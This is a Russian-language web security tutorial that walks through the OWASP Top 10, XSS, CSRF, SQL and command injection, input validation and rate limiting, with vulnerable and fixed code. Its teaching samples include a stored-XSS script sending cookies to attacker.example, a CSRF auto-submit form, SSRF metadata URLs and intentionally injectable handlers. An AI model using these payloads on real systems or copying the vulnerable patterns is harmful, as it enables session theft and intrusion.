Web Security
Web Security — защита веб-приложения, его пользователей, данных и инфраструктуры от несанкционированного доступа, изменения, уничтожения и раскрытия информации.
Безопасность веб-приложения включает:
- проверку входных данных;
- безопасную обработку HTML и SQL;
- аутентификацию и авторизацию;
- защиту сессий и токенов;
- шифрование сетевого соединения;
- ограничение частоты запросов;
- безопасную конфигурацию сервера;
- управление зависимостями и секретами;
- журналирование и мониторинг;
- регулярное обновление компонентов.
Основной принцип:
Любые данные, поступающие извне, считаются недоверенными.Недоверенными могут быть:
- тело HTTP-запроса;
- параметры URL;
- query-параметры;
- HTTP-заголовки;
- cookie;
- загруженные файлы;
- данные из стороннего API;
- сообщения из очереди;
- данные из базы, если ранее они были введены пользователем;
- значения из localStorage;
- содержимое JWT до проверки подписи;
- данные, полученные через WebSocket.
Frontend-проверка улучшает пользовательский интерфейс, но не обеспечивает безопасность:
if (user.isAdmin) {
showDeleteButton();
}Злоумышленник может обойти интерфейс и отправить запрос напрямую:
DELETE /api/users/42 HTTP/1.1
Authorization: Bearer tokenПоэтому критические проверки всегда выполняются на сервере.
Модель угроз
Перед добавлением защитных механизмов полезно определить:
- какие данные защищает система;
- кто может атаковать систему;
- какие точки входа существуют;
- какие действия доступны пользователю;
- какие последствия имеет компрометация;
- каким внешним сервисам доверяет приложение;
- где хранятся ключи, токены и пароли;
- как обнаруживается и расследуется инцидент.
Пример защищаемых ресурсов:
Учётные записи пользователей
Персональные данные
Пароли и токены
Платёжные операции
Административные функции
Исходный код и конфигурация
Резервные копии
Журналы безопасностиПример поверхностей атаки:
HTTP API
HTML-формы
Загрузка файлов
WebSocket
OAuth callback
Административная панель
Сторонние интеграции
CI/CD
Облачное хранилище
Система восстановления пароляБезопасность должна проектироваться на нескольких уровнях. Один механизм не должен быть единственной линией защиты.
Такой подход называется defense in depth:
Валидация входа
↓
Авторизация
↓
Безопасный запрос к базе
↓
Экранирование вывода
↓
Security headers
↓
Журналирование и мониторингOWASP Top 10
OWASP Top 10 — обзор наиболее значимых категорий рисков безопасности веб-приложений.
Ниже используется классификация OWASP Top 10: 2021.
| Код | Категория |
|---|---|
A01 |
Broken Access Control |
A02 |
Cryptographic Failures |
A03 |
Injection |
A04 |
Insecure Design |
A05 |
Security Misconfiguration |
A06 |
Vulnerable and Outdated Components |
A07 |
Identification and Authentication Failures |
A08 |
Software and Data Integrity Failures |
A09 |
Security Logging and Monitoring Failures |
A10 |
Server-Side Request Forgery |
OWASP Top 10 — не полный список всех угроз и не готовый чек-лист соответствия. Он помогает определить основные направления проверки.
A01: Broken Access Control
Нарушение контроля доступа возникает, когда пользователь может выполнить действие или получить данные, которые ему не разрешены.
Пример:
GET /api/users/42/ordersПользователь меняет идентификатор:
GET /api/users/43/ordersЕсли сервер проверяет только наличие аутентификации, но не принадлежность заказов, пользователь может получить чужие данные.
Небезопасный обработчик:
app.get("/api/orders/:orderId", authenticate, async (request, response) => {
const order = await orderRepository.findById(
request.params.orderId,
);
return response.json(order);
});Безопаснее проверять право на конкретный ресурс:
app.get("/api/orders/:orderId", authenticate, async (request, response) => {
const order = await orderRepository.findById(
request.params.orderId,
);
if (!order) {
return response.status(404).json({
error: "not_found",
message: "Заказ не найден",
});
}
const canRead =
order.userId === request.user.id ||
request.user.permissions.includes("order:read:any");
if (!canRead) {
return response.status(403).json({
error: "forbidden",
message: "Недостаточно прав",
});
}
return response.json(order);
});Защита включает:
- принцип минимальных привилегий;
- проверку доступа на сервере;
- проверку принадлежности ресурса;
- запрет доступа по умолчанию;
- отдельную защиту административных маршрутов;
- проверку прав при каждом запросе;
- тесты на горизонтальное и вертикальное повышение привилегий.
Горизонтальное повышение привилегий — доступ к данным другого пользователя того же уровня.
Вертикальное повышение привилегий — получение возможностей администратора или другой более привилегированной роли.
A02: Cryptographic Failures
Категория связана с неправильной защитой чувствительных данных.
Примеры:
- использование HTTP вместо HTTPS;
- хранение паролей в открытом виде;
- использование слабого хеширования паролей;
- секреты в исходном коде;
- неправильное хранение ключей;
- отсутствие шифрования резервных копий;
- передача токенов через URL;
- самостоятельная реализация криптографического алгоритма.
Нежелательно:
const passwordHash = createHash("sha256")
.update(password)
.digest("hex");Обычный SHA-256 слишком быстр для пользовательских паролей.
Предпочтительно использовать специализированную функцию:
import bcrypt from "bcrypt";
const passwordHash = await bcrypt.hash(
password,
12,
);Криптографические ключи нельзя хранить в репозитории:
const jwtSecret = "production-secret";Они должны поступать из защищённой конфигурации:
const jwtSecret = process.env.JWT_SECRET;
if (!jwtSecret) {
throw new Error(
"Переменная JWT_SECRET не настроена",
);
}A03: Injection
Injection возникает, когда недоверенные данные интерпретируются как команда, запрос или код.
В эту категорию входят:
- SQL injection;
- NoSQL injection;
- command injection;
- LDAP injection;
- шаблонные инъекции;
- некоторые формы XSS;
- инъекции в выражения и запросы.
Основной принцип защиты:
Данные должны оставаться данными,
а не становиться частью команды.Для этого используются:
- параметризованные запросы;
- безопасные API;
- контекстное экранирование;
- allowlist для динамических идентификаторов;
- отказ от
eval; - минимальные права процесса и базы данных.
A04: Insecure Design
Небезопасный дизайн означает, что проблема находится не в одной строке кода, а в самой модели системы.
Примеры:
- отсутствие ограничения числа попыток входа;
- возможность неограниченно применять промокоды;
- перевод денег без повторного подтверждения;
- отсутствие контроля состояния операции;
- восстановление пароля по легко угадываемым данным;
- отсутствие разделения полномочий;
- доверие к цене, присланной клиентом.
Небезопасный расчёт заказа:
const order = await orderRepository.create({
userId: request.user.id,
total: request.body.total,
});Клиент может передать:
{
"total": 1
}Стоимость должна рассчитываться сервером:
const products = await productRepository.findByIds(
request.body.items.map((item) => item.productId),
);
const total = calculateOrderTotal({
requestedItems: request.body.items,
products,
});Безопасный дизайн требует анализа угроз ещё до реализации.
A05: Security Misconfiguration
Примеры неправильной конфигурации:
- включённый режим отладки в production;
- стандартные пароли;
- открытая административная панель;
- подробные сообщения об ошибках;
- отсутствие security headers;
- лишние HTTP-методы;
- открытые облачные хранилища;
- разрешающий CORS;
- доступные служебные endpoint;
- листинг каталогов;
- тестовые учётные записи в рабочей среде.
Нежелательный ответ:
{
"message": "SQL query failed",
"query": "SELECT * FROM users WHERE email = ...",
"stack": "Error: connection refused at ..."
}Безопаснее возвращать внешнее сообщение:
{
"error": "internal_error",
"message": "Не удалось обработать запрос",
"requestId": "req-2f8d7a"
}Подробности сохраняются в защищённом журнале:
logger.error("Database query failed", {
requestId: request.id,
error,
});A06: Vulnerable and Outdated Components
Уязвимость может находиться в:
- npm-зависимости;
- браузерной библиотеке;
- серверном фреймворке;
- базе данных;
- контейнерном образе;
- операционной системе;
- reverse proxy;
- CI-инструменте.
Проверка npm-зависимостей:
npm auditНо автоматический отчёт необходимо анализировать. Не каждая найденная уязвимость достижима в конкретном приложении, а отсутствие отчётов не гарантирует безопасность.
Полезные меры:
- удалять неиспользуемые зависимости;
- фиксировать версии lock-файлом;
- регулярно обновлять пакеты;
- отслеживать уведомления о новых уязвимостях;
- проверять зависимости в CI;
- использовать минимальные контейнерные образы;
- не устанавливать пакет только ради простой функции;
- проверять происхождение и поддержку пакета.
Нельзя автоматически запускать агрессивное исправление зависимостей без тестов:
npm audit fix --forceКоманда может установить несовместимые версии и сломать приложение.
A07: Identification and Authentication Failures
Категория включает:
- слабую защиту паролей;
- отсутствие MFA для критичных аккаунтов;
- неограниченный перебор паролей;
- предсказуемые session ID;
- неправильное завершение сессии;
- долгоживущие токены без отзыва;
- отсутствие ротации refresh-токенов;
- раскрытие существования учётной записи;
- небезопасное восстановление доступа.
Вместо разных сообщений:
Пользователь не найден
Неверный парольлучше возвращать одинаковый ответ:
Неверный email или парольПосле входа следует заменить идентификатор сессии, чтобы предотвратить фиксацию сессии.
После изменения пароля или компрометации аккаунта желательно:
- завершить активные сессии;
- отозвать refresh-токены;
- потребовать повторный вход;
- зафиксировать событие в журнале;
- уведомить пользователя.
A08: Software and Data Integrity Failures
Категория связана с недоверенными обновлениями, кодом и данными.
Примеры:
- установка непроверенного npm-пакета;
- выполнение кода из недоверенного источника;
- загрузка обновления без проверки подписи;
- небезопасная десериализация;
- компрометация CI/CD;
- подключение стороннего скрипта без контроля;
- изменение артефакта между сборкой и развёртыванием.
Нежелательно:
const functionBody = request.body.code;
const result = eval(functionBody);Также опасно:
const handler = new Function(
"data",
request.body.expression,
);Недоверенные данные не должны исполняться как JavaScript.
Следует защищать:
- ветки репозитория;
- CI/CD credentials;
- реестр пакетов;
- lock-файлы;
- процесс публикации;
- артефакты сборки;
- права на изменение workflow;
- зависимости и плагины.
A09: Security Logging and Monitoring Failures
Если события безопасности не журналируются и не отслеживаются, атака может оставаться незамеченной.
Полезно фиксировать:
- успешные и неуспешные входы;
- восстановление пароля;
- изменения ролей;
- административные операции;
- отказ в доступе;
- срабатывание rate limiting;
- ошибки проверки токена;
- повторное использование refresh-токена;
- изменение критичной конфигурации;
- подозрительную загрузку файлов.
Пример:
logger.warn("Authorization denied", {
requestId: request.id,
userId: request.user?.id,
action: "user:delete",
targetUserId: request.params.userId,
ipAddress: request.ip,
});Нельзя журналировать:
- пароль;
- полный access-токен;
- refresh-токен;
- session ID;
- приватный ключ;
- секрет клиента;
- cookie целиком;
- данные банковской карты.
Нежелательно:
logger.info("Request received", {
headers: request.headers,
body: request.body,
});Так в журнал могут попасть секреты.
A10: Server-Side Request Forgery
SSRF возникает, когда сервер получает URL от пользователя и сам выполняет запрос без достаточных ограничений.
Небезопасный пример:
app.post("/api/preview", async (request, response) => {
const externalResponse = await fetch(
request.body.url,
);
const content = await externalResponse.text();
return response.send(content);
});Злоумышленник может попытаться запросить:
http://localhost:3000/admin
http://127.0.0.1/internal
http://169.254.169.254/Простая начальная защита через allowlist:
const allowedHosts = new Set([
"images.example.com",
"cdn.example.com",
]);
function validateExternalUrl(rawUrl) {
const url = new URL(rawUrl);
if (url.protocol !== "https:") {
throw new Error(
"Разрешён только HTTPS",
);
}
if (!allowedHosts.has(url.hostname)) {
throw new Error(
"Домен не разрешён",
);
}
return url;
}Этой проверки может быть недостаточно для сложной SSRF-защиты. Необходимо учитывать:
- DNS rebinding;
- перенаправления;
- IPv4 и IPv6;
- локальные и приватные сети;
- альтернативные представления IP;
- ограничения исходящего трафика;
- тайм-ауты и максимальный размер ответа.
Самая надёжная схема — не принимать произвольный URL, а разрешать обращение только к заранее известным сервисам.
XSS
XSS (Cross-Site Scripting) — внедрение JavaScript или другого активного содержимого в страницу, открываемую пользователем.
Последствия XSS:
- выполнение действий от имени пользователя;
- чтение доступных странице данных;
- изменение интерфейса;
- кража токенов из Web Storage;
- отправка запросов к API;
- перехват введённых данных;
- подмена формы входа;
- распространение вредоносного содержимого.
HttpOnly защищает cookie от прямого чтения JavaScript, но не устраняет XSS. Вредоносный скрипт всё равно может отправлять запросы от имени пользователя.
Stored XSS
Вредоносное содержимое сохраняется в системе и показывается другим пользователям.
Например, пользователь сохраняет комментарий:
<script>
fetch("https://attacker.example/collect", {
method: "POST",
body: document.cookie
});
</script>Если приложение выводит комментарий как HTML, скрипт может выполниться у других пользователей.
Reflected XSS
Недоверенное значение сразу включается в HTML-ответ.
Небезопасная логика:
app.get("/search", (request, response) => {
response.send(`
<h1>Результаты для ${request.query.q}</h1>
`);
});Запрос может содержать HTML:
/search?q=<img src=x onerror=alert(1)>Если значение не экранируется, браузер интерпретирует его как разметку.
DOM-based XSS
Уязвимость возникает в клиентском JavaScript.
Небезопасно:
const message =
new URLSearchParams(location.search)
.get("message");
document.querySelector("#result").innerHTML =
message;Безопаснее:
const message =
new URLSearchParams(location.search)
.get("message");
document.querySelector("#result").textContent =
message;textContent создаёт текст, а не HTML-разметку.
Опасные HTML API
Особого внимания требуют:
element.innerHTML = value;
element.outerHTML = value;
element.insertAdjacentHTML("beforeend", value);
document.write(value);Также опасно выполнять строки как код:
eval(value);
new Function(value);
setTimeout(value, 1000);
setInterval(value, 1000);В setTimeout и setInterval следует передавать функцию:
setTimeout(() => {
updateInterface();
}, 1000);Безопасное создание DOM
Небезопасно:
container.innerHTML = `
<article>
<h2>${product.name}</h2>
<p>${product.description}</p>
</article>
`;Безопаснее создавать элементы и задавать текст:
const article = document.createElement("article");
const title = document.createElement("h2");
const description = document.createElement("p");
title.textContent = product.name;
description.textContent = product.description;
article.append(title, description);
container.append(article);Экранирование вывода
Экранирование зависит от контекста.
Одни и те же данные могут использоваться в:
- HTML-тексте;
- HTML-атрибуте;
- JavaScript;
- CSS;
- URL.
Нельзя создать одну универсальную функцию, безопасную для всех контекстов.
Для серверных HTML-шаблонов следует использовать автоматическое экранирование шаблонизатора:
<p>{{ userComment }}</p>Нельзя отключать экранирование для пользовательских данных без необходимости.
Конструкция, позволяющая вставить «сырой HTML», требует отдельной проверки:
raw HTML
unescaped HTML
dangerouslySetInnerHTML
v-htmlСанитизация HTML
Иногда приложение должно разрешать часть HTML, например в редакторе статей:
<p>Текст</p>
<strong>Важное</strong>
<a href="https://example.com">Ссылка</a>В таком случае простое экранирование уничтожит разметку. Требуется HTML-санитайзер с allowlist разрешённых тегов и атрибутов.
Концептуально:
const safeHtml = htmlSanitizer.sanitize(
untrustedHtml,
{
allowedTags: [
"p",
"strong",
"em",
"ul",
"ol",
"li",
"a",
],
allowedAttributes: {
a: ["href", "title"],
},
},
);Не следует писать полноценный HTML-санитайзер самостоятельно с помощью регулярного выражения:
const safe = html.replace(
/<script.*?>.*?<\/script>/gi,
"",
);HTML сложен, а вредоносное содержимое может использовать:
- обработчики событий;
- опасные URL-схемы;
- SVG;
- MathML;
- некорректную вложенность;
- особенности парсера браузера.
Content Security Policy
Content Security Policy (CSP) ограничивает источники скриптов, стилей и других ресурсов.
Пример заголовка:
Content-Security-Policy:
default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'self';
frame-ancestors 'none'CSP является дополнительным уровнем защиты, а не заменой экранирования и санитизации.
Небезопасная директива:
script-src 'self' 'unsafe-inline''unsafe-inline' разрешает инлайн-скрипты и ослабляет защиту.
Для разрешённых инлайн-скриптов можно применять nonce:
import { randomBytes } from "node:crypto";
function createNonce() {
return randomBytes(16).toString("base64");
}Заголовок:
Content-Security-Policy: script-src 'self' 'nonce-random-value'HTML:
<script nonce="random-value">
initializeApplication();
</script>Nonce должен:
- генерироваться заново для каждого ответа;
- быть криптографически случайным;
- совпадать в заголовке и HTML;
- не использоваться как постоянное значение.
Внедрение строгой CSP удобно начинать с режима отчётов:
Content-Security-Policy-Report-Only: ...После анализа нарушений политика включается в блокирующем режиме.
Защита от XSS
Основные меры:
- использовать
textContentвместоinnerHTML; - включать автоматическое экранирование шаблонов;
- санитизировать разрешённый пользовательский HTML;
- избегать
eval()иnew Function(); - проверять URL-схемы;
- внедрить CSP;
- применять
HttpOnlyдля чувствительных cookie; - не хранить долгоживущие токены в доступном JavaScript хранилище без оценки риска;
- обновлять frontend-зависимости;
- не доверять данным, прочитанным из базы;
- тестировать все места вывода пользовательского содержимого.
CSRF
CSRF (Cross-Site Request Forgery) — атака, при которой браузер пользователя отправляет запрос к доверенному сайту под влиянием другого сайта.
CSRF особенно актуальна, когда браузер автоматически добавляет учётные данные:
- session cookie;
- authentication cookie;
- клиентский сертификат;
- другие автоматически отправляемые credentials.
Пример уязвимой операции:
POST /api/email/change HTTP/1.1
Cookie: session=authenticated-session
newEmail=attacker@example.comЗлоумышленник может разместить на другом сайте форму:
<form
action="https://app.example.com/api/email/change"
method="post"
>
<input
type="hidden"
name="newEmail"
value="attacker@example.com"
>
</form>
<script>
document.forms[0].submit();
</script>Если сервер доверяет только cookie, он может принять запрос.
CSRF-токен
Сервер создаёт случайный токен, связывает его с сессией и передаёт странице.
Клиент возвращает токен в запросе:
X-CSRF-Token: random-tokenПроверка:
function verifyCsrfToken(request) {
const expectedToken =
request.session.csrfToken;
const receivedToken =
request.headers["x-csrf-token"];
if (
!expectedToken ||
!receivedToken ||
expectedToken !== receivedToken
) {
throw new Error(
"Некорректный CSRF-токен",
);
}
}Для криптографических токенов можно использовать сравнение с постоянным временем:
import { timingSafeEqual } from "node:crypto";
function safeTokenEqual(left, right) {
const leftBuffer = Buffer.from(left ?? "");
const rightBuffer = Buffer.from(right ?? "");
if (leftBuffer.length !== rightBuffer.length) {
return false;
}
return timingSafeEqual(
leftBuffer,
rightBuffer,
);
}Проверка:
if (
!safeTokenEqual(
expectedToken,
receivedToken,
)
) {
throw new Error(
"Некорректный CSRF-токен",
);
}Токен должен быть непредсказуемым:
import { randomBytes } from "node:crypto";
function createCsrfToken() {
return randomBytes(32).toString("base64url");
}SameSite cookie
Атрибут SameSite ограничивает межсайтовую отправку cookie.
response.cookie(
"__Host-session",
sessionId,
{
httpOnly: true,
secure: true,
sameSite: "lax",
path: "/",
},
);Варианты:
| Значение | Поведение |
|---|---|
Strict |
Наиболее строго ограничивает межсайтовую отправку |
Lax |
Разрешает часть обычных навигаций |
None |
Разрешает межсайтовую отправку, требует Secure |
SameSite — важная защита, но для чувствительных систем её полезно сочетать с CSRF-токенами и проверкой источника.
Проверка Origin
Для запросов, изменяющих состояние, сервер может проверять Origin:
const allowedOrigins = new Set([
"https://app.example.com",
]);
function verifyOrigin(request) {
const origin = request.headers.origin;
if (
!origin ||
!allowedOrigins.has(origin)
) {
throw new Error(
"Недопустимый источник запроса",
);
}
}Проверку нельзя выполнять через частичное совпадение:
origin.endsWith("example.com");Такой код может разрешить:
https://notexample.com
https://example.com.attacker.exampleНеобходимо сравнивать полностью разобранный origin с allowlist.
Запрет изменения через GET
Метод GET не должен изменять состояние:
Нежелательно:
GET /api/users/42/delete
Предпочтительно:
DELETE /api/users/42Ссылки, изображения, preview-системы и поисковые роботы могут выполнять GET автоматически.
Bearer-токены и CSRF
Если access-токен хранится в памяти приложения и вручную добавляется в заголовок:
Authorization: Bearer tokenдругой сайт обычно не может заставить браузер автоматически добавить этот заголовок.
Это уменьшает риск классического CSRF, но:
- XSS всё равно может выполнять запросы;
- refresh-токен в cookie всё ещё требует защиты;
- неправильный CORS может расширить поверхность атаки;
- токен может храниться небезопасно.
CORS не заменяет CSRF-защиту
CORS управляет тем, может ли JavaScript другого origin прочитать ответ и выполнить некоторые типы запросов.
Но браузер способен отправить часть межсайтовых запросов и без разрешения на чтение ответа.
Поэтому нельзя считать такую конфигурацию достаточной:
Access-Control-Allow-Origin: https://app.example.comДля cookie-аутентификации отдельно проектируется CSRF-защита.
Защита от CSRF
Основные меры:
SameSiteдля cookie;- CSRF-токены;
- проверка
Origin; SecureиHttpOnly;- запрет изменения состояния через
GET; - повторная аутентификация для критических действий;
- короткое время жизни чувствительных операций;
- аккуратная настройка CORS;
- подтверждение операций с высоким риском.
SQL Injection
SQL injection возникает, когда пользовательские данные становятся частью SQL-синтаксиса.
Небезопасный запрос:
const query = `
SELECT id, email
FROM users
WHERE email = '${request.body.email}'
`;
const user = await database.query(query);Злоумышленник может передать значение, изменяющее структуру запроса.
Проблема заключается не только в кавычках. Самостоятельное экранирование строк сложно и зависит от базы данных, кодировки и режима SQL.
Параметризованные запросы
Пользовательские данные передаются отдельно от SQL:
const user = await database.query(
`
SELECT id, email
FROM users
WHERE email = ?
`,
[request.body.email],
);Для драйверов с нумерованными параметрами:
const result = await database.query(
`
SELECT id, email
FROM users
WHERE email = $1
`,
[request.body.email],
);База рассматривает значение как данные, а не часть команды.
INSERT и UPDATE
Безопасная вставка:
await database.query(
`
INSERT INTO users (
email,
password_hash
)
VALUES ($1, $2)
`,
[email, passwordHash],
);Безопасное обновление:
await database.query(
`
UPDATE users
SET display_name = $1
WHERE id = $2
`,
[displayName, userId],
);Динамические имена столбцов
Параметры SQL обычно нельзя использовать для имён таблиц, столбцов и направлений сортировки.
Небезопасно:
const sort = request.query.sort;
const users = await database.query(`
SELECT id, email
FROM users
ORDER BY ${sort}
`);Следует использовать allowlist:
const allowedSortFields = {
name: "display_name",
createdAt: "created_at",
email: "email",
};
function getOrderBy(sortField) {
const column =
allowedSortFields[sortField];
if (!column) {
return "created_at";
}
return column;
}Направление сортировки:
function getSortDirection(direction) {
return direction === "asc"
? "ASC"
: "DESC";
}Создание запроса:
const column = getOrderBy(
request.query.sort,
);
const direction = getSortDirection(
request.query.direction,
);
const result = await database.query(
`
SELECT id, email, display_name
FROM users
ORDER BY ${column} ${direction}
LIMIT $1
`,
[limit],
);Здесь интерполируются только значения из заранее заданного списка, а пользовательские числа передаются параметрами.
ORM и SQL injection
ORM уменьшает вероятность SQL injection, если используется стандартный API:
const user = await orm.user.findUnique({
where: {
email: request.body.email,
},
});Но raw queries могут вернуть уязвимость:
await orm.rawQuery(`
SELECT *
FROM users
WHERE email = '${email}'
`);Использование ORM не освобождает от проверки:
- raw SQL;
- фильтров;
- сортировки;
- операторов;
- динамических имён;
- массового присваивания.
Минимальные права базы данных
Даже при SQL injection последствия можно уменьшить, если приложение использует учётную запись с минимальными правами.
Обычному приложению не должны без необходимости предоставляться:
- создание пользователей базы;
- изменение схемы;
- удаление всей базы;
- чтение системных таблиц;
- доступ к другим базам;
- выполнение системных команд.
Отдельным сервисам полезно выдавать отдельные учётные данные.
Защита от SQL injection
Основные меры:
- параметризованные запросы;
- стандартный API ORM;
- allowlist для динамических идентификаторов;
- минимальные права базы;
- запрет подробных SQL-ошибок в ответе;
- тестирование query-параметров и фильтров;
- отказ от самостоятельного экранирования;
- code review всех raw-запросов.
Command Injection
Недоверенные данные нельзя вставлять в команду оболочки.
Небезопасно:
import { exec } from "node:child_process";
exec(
`convert ${request.body.fileName} output.png`,
);Значение может изменить выполняемую команду.
Если внешний процесс действительно необходим, следует избегать оболочки и передавать аргументы отдельно:
import { execFile } from "node:child_process";
execFile(
"convert",
[inputPath, outputPath],
{
timeout: 10_000,
},
(error) => {
if (error) {
// Обработка ошибки
}
},
);Дополнительно нужны:
- allowlist допустимых операций;
- безопасно сформированные сервером пути;
- ограничения прав процесса;
- тайм-аут;
- ограничение ресурсов;
- изоляция обработки файлов.
Валидация входных данных
Валидация проверяет, соответствует ли значение ожидаемому формату и бизнес-правилам.
Примеры:
email имеет допустимый формат
age является целым числом
role входит в разрешённый список
quantity больше нуля
строка не превышает максимальную длину
дата находится в допустимом диапазонеВалидация не должна ограничиваться frontend.
Frontend:
if (!email.includes("@")) {
showError("Введите email");
}Сервер всё равно обязан проверить значение повторно.
Allowlist вместо denylist
Allowlist определяет допустимые значения:
const allowedRoles = new Set([
"reader",
"editor",
]);
if (!allowedRoles.has(input.role)) {
throw new Error(
"Недопустимая роль",
);
}Denylist запрещает только известные опасные значения:
const forbiddenValues = [
"admin",
"superuser",
];Проблема denylist — невозможно заранее перечислить все опасные варианты.
Для структурированных полей предпочтителен allowlist.
Проверка типа
Нельзя полагаться на ожидаемый JSON-тип:
const quantity = request.body.quantity;Клиент может отправить:
{
"quantity": "10"
}или:
{
"quantity": {
"$gt": 0
}
}Проверка:
function validateQuantity(value) {
if (!Number.isInteger(value)) {
throw new ValidationError(
"Количество должно быть целым числом",
);
}
if (value < 1 || value > 100) {
throw new ValidationError(
"Количество должно быть от 1 до 100",
);
}
return value;
}Проверка строки
function validateDisplayName(value) {
if (typeof value !== "string") {
throw new ValidationError(
"Имя должно быть строкой",
);
}
const normalizedValue = value.trim();
if (
normalizedValue.length < 2 ||
normalizedValue.length > 80
) {
throw new ValidationError(
"Имя должно содержать от 2 до 80 символов",
);
}
return normalizedValue;
}Не следует применять .trim() или Unicode-нормализацию ко всем данным автоматически. Например, изменение пароля может привести к тому, что пользователь не сможет войти с исходным значением.
Проверка объекта
class ValidationError extends Error {
constructor(message, details = []) {
super(message);
this.name = "ValidationError";
this.details = details;
}
}
function validateCreateProduct(input) {
if (
!input ||
typeof input !== "object" ||
Array.isArray(input)
) {
throw new ValidationError(
"Ожидался объект",
);
}
const errors = [];
if (
typeof input.name !== "string" ||
input.name.trim().length < 2 ||
input.name.trim().length > 120
) {
errors.push({
field: "name",
message:
"Название должно содержать от 2 до 120 символов",
});
}
if (
typeof input.price !== "number" ||
!Number.isFinite(input.price) ||
input.price < 0
) {
errors.push({
field: "price",
message:
"Цена должна быть неотрицательным числом",
});
}
const allowedCategories = new Set([
"books",
"electronics",
"clothes",
]);
if (
!allowedCategories.has(input.category)
) {
errors.push({
field: "category",
message: "Недопустимая категория",
});
}
if (errors.length > 0) {
throw new ValidationError(
"Данные не прошли проверку",
errors,
);
}
return {
name: input.name.trim(),
price: input.price,
category: input.category,
};
}Неизвестные поля и mass assignment
Пользователь может отправить дополнительные свойства:
{
"name": "Анна",
"email": "anna@example.com",
"role": "admin",
"isVerified": true
}Небезопасно передавать объект напрямую в ORM:
await userRepository.create(
request.body,
);Следует явно выбирать разрешённые поля:
const input = {
name: request.body.name,
email: request.body.email,
};И затем передавать проверенный объект:
await userRepository.create(input);Это защищает от mass assignment, когда клиент пытается изменить внутренние поля модели.
Ограничение размера запроса
Даже корректный по структуре JSON может быть слишком большим.
В Express:
app.use(
express.json({
limit: "100kb",
}),
);Для разных маршрутов могут требоваться разные ограничения.
Загрузка файлов должна отдельно ограничивать:
- размер файла;
- количество файлов;
- допустимые типы;
- расширения;
- время обработки;
- итоговый объём распакованных данных.
Санитизация
Санитизация преобразует или удаляет потенциально опасные части значения.
Валидация и санитизация отличаются:
Валидация:
«Допустимо ли это значение?»
Санитизация:
«Как безопасно преобразовать это значение?»Пример нормализации email:
const normalizedEmail = email
.trim()
.toLowerCase();Но нормализация должна соответствовать требованиям системы. Нельзя бездумно изменять все поля.
Контекстная защита
Разные места использования требуют разных мер:
| Контекст | Основная защита |
|---|---|
| SQL | Параметризованный запрос |
| HTML-текст | HTML-экранирование |
| Разрешённый HTML | HTML-санитайзер |
| URL | Разбор через URL и allowlist |
| Команда ОС | Отказ от shell, отдельные аргументы |
| Имя файла | Серверное имя и безопасный каталог |
| JSON | Корректная сериализация |
| HTTP-заголовок | Проверка допустимого формата |
Нельзя «очистить строку один раз» и считать её безопасной во всех контекстах.
Валидация URL
const allowedProtocols = new Set([
"https:",
]);
const allowedHosts = new Set([
"cdn.example.com",
"images.example.com",
]);
function validateImageUrl(rawValue) {
let url;
try {
url = new URL(rawValue);
} catch {
throw new ValidationError(
"Некорректный URL",
);
}
if (!allowedProtocols.has(url.protocol)) {
throw new ValidationError(
"Недопустимый протокол",
);
}
if (!allowedHosts.has(url.hostname)) {
throw new ValidationError(
"Недопустимый домен",
);
}
return url.toString();
}Проверка только начала строки ненадёжна:
rawValue.startsWith(
"https://example.com",
);Такой вариант может ошибочно принять адрес с похожим префиксом.
Безопасная работа с путями
Небезопасно:
const filePath =
`/uploads/${request.params.fileName}`;Пользователь может попытаться передать сегменты перехода между каталогами.
Безопаснее не использовать клиентское имя как физический путь:
import { randomUUID } from "node:crypto";
const storedFileName = randomUUID();Если требуется доступ к файлу, полезно связывать публичный ID с серверной записью:
const file = await fileRepository.findById(
request.params.fileId,
);
if (!file || file.ownerId !== request.user.id) {
throw new Error("Файл не найден");
}
return sendStoredFile(file.storageKey);Rate Limiting
Rate limiting ограничивает число операций за определённый период.
Он помогает защищаться от:
- перебора паролей;
- массовой регистрации;
- злоупотребления восстановлением доступа;
- чрезмерных запросов к API;
- автоматизированного сбора данных;
- дорогих вычислительных операций;
- случайного бесконечного цикла клиента;
- части атак на доступность.
Rate limiting не заменяет полноценную защиту от распределённых атак, но является важным уровнем.
Ответ при превышении лимита
HTTP/1.1 429 Too Many Requests
Retry-After: 60
Content-Type: application/json
{
"error": "rate_limit_exceeded",
"message": "Слишком много запросов"
}Простой пример для Express
С использованием middleware ограничения запросов:
import rateLimit from "express-rate-limit";
const apiLimiter = rateLimit({
windowMs: 60 * 1000,
limit: 100,
standardHeaders: true,
legacyHeaders: false,
});
app.use("/api", apiLimiter);Более строгий лимит для входа:
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
limit: 10,
standardHeaders: true,
legacyHeaders: false,
skipSuccessfulRequests: true,
});
app.post(
"/auth/login",
loginLimiter,
authController.login,
);Конкретные значения должны выбираться на основе сценария и наблюдаемого трафика.
Ключ ограничения
Ограничивать запросы можно по:
- IP-адресу;
- пользователю;
- session ID;
- API-ключу;
- client ID;
- email;
- номеру телефона;
- комбинации нескольких признаков.
Ограничение только по IP имеет проблемы:
- много пользователей могут находиться за одним NAT;
- мобильные адреса меняются;
- атакующий может использовать множество адресов;
- прокси может скрыть реальный IP.
Для входа полезна комбинированная стратегия:
лимит по IP
+
лимит по учётной записи
+
общий системный лимит
+
мониторинг аномалийНельзя блокировать учётную запись навсегда после небольшого числа ошибок: злоумышленник сможет заблокировать любого пользователя.
Распределённое приложение
Хранилище в памяти одного процесса не подходит, если приложение запущено на нескольких экземплярах:
Server 1 — собственный счётчик
Server 2 — собственный счётчик
Server 3 — собственный счётчикКлиент может попадать на разные серверы и фактически получать увеличенный лимит.
Для распределённой системы используется общее атомарное хранилище, например специализированный backend счётчиков.
Важно обеспечить:
- атомарное увеличение;
- срок жизни ключей;
- устойчивость к гонкам;
- понятное поведение при недоступности хранилища;
- ограничение количества создаваемых ключей.
Reverse proxy и IP
Если приложение работает за reverse proxy, адрес запроса может быть адресом самого прокси.
Настройка доверенных прокси должна соответствовать инфраструктуре:
app.set("trust proxy", 1);Нельзя бездумно доверять всем значениям X-Forwarded-For, которые может прислать клиент. Иначе атакующий сможет подменить IP и обходить ограничения.
Алгоритмы rate limiting
Распространённые варианты:
Fixed window
Например, не более 100 запросов в каждую минуту.
Преимущество — простота.
Недостаток — на границе окон клиент может быстро выполнить почти двойной объём.
Sliding window
Учитывает запросы за реальный скользящий период.
Даёт более точное ограничение, но требует более сложного хранения.
Token bucket
У пользователя есть набор токенов. Каждый запрос расходует один токен, а токены постепенно восстанавливаются.
Позволяет кратковременные всплески трафика, сохраняя среднее ограничение.
Leaky bucket
